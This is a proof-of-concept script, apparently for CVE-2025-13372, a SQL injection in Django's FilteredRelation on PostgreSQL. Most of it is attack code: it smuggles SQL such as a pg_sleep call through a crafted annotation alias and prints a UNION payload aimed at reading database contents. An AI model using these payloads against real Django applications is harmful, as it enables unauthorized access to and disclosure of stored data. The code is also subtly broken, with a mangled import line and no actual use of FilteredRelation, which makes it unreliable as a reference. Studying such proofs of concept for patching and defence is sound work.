CVE-2025-13372 Django FilteredRelation SQL注入漏洞

# CVE-2025-13372 Django FilteredRelation SQL Injection PoC # Target: Django <= 5.2.8, <= 5.1.14, <= 4.2.26 with PostgreSQL backend import os import django from django.conf import settings # Configure Django settings if not settings.configured: settings.configure( DEBUG=True, DATABASES={ 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'test_db', 'USER': 'db_user', 'PASSWORD': 'db_pass', 'HOST': 'localhost', 'PORT': '5432', } }, INSTALLED_APPS=[ 'django.contrib.contenttypes', 'django.contrib.auth', ], USE_TZ=True, ) django.setup() from django.contrib.auth.models import User from django.db.models import Count, Q from django.db.models.expressions importFilteredRelation def exploit_sql_injection(): """ Demonstrate SQL injection via FilteredRelation column aliases This PoC shows how malicious dictionary keys can inject SQL """ # Malicious key designed to inject SQL in column alias # The backslash and quotes can break out of the alias context malicious_key = 'status"; SELECT pg_sleep(5);--' # Normal usage would be: # User.objects.annotate(active_count=Count('id')).values('active_count') # Vulnerable code - passing dict with malicious keys as **kwargs try: # This will generate SQL like: # SELECT "status\"; SELECT pg_sleep(5);--" ... # which can cause SQL injection result = User.objects.annotate(**{malicious_key: Count('id')}) # Try to trigger query execution list(result) except Exception as e: print(f"Error occurred: {e}") print("SQL injection may have been attempted") def safer_exploit_example(): """ More realistic exploitation scenario Extract data using UNION-based injection in alias """ # Simulated attack payload for information disclosure info_disclosure_payload = 'col UNION SELECT secret FROM django_site--' # In vulnerable versions, this could be used to: # 1. Extract sensitive data via error-based or blind injection # 2. Execute time-based queries for blind injection # 3. Potentially modify data if combined with other vulnerabilities print(f"Payload: {info_disclosure_payload}") print("In vulnerable Django versions, this could lead to:") print("1. Unauthorized data access") print("2. Database information disclosure") print("3. Potential data manipulation") if __name__ == '__main__': print("CVE-2025-13372 Django SQL Injection PoC") print("=" * 50) exploit_sql_injection() safer_exploit_example()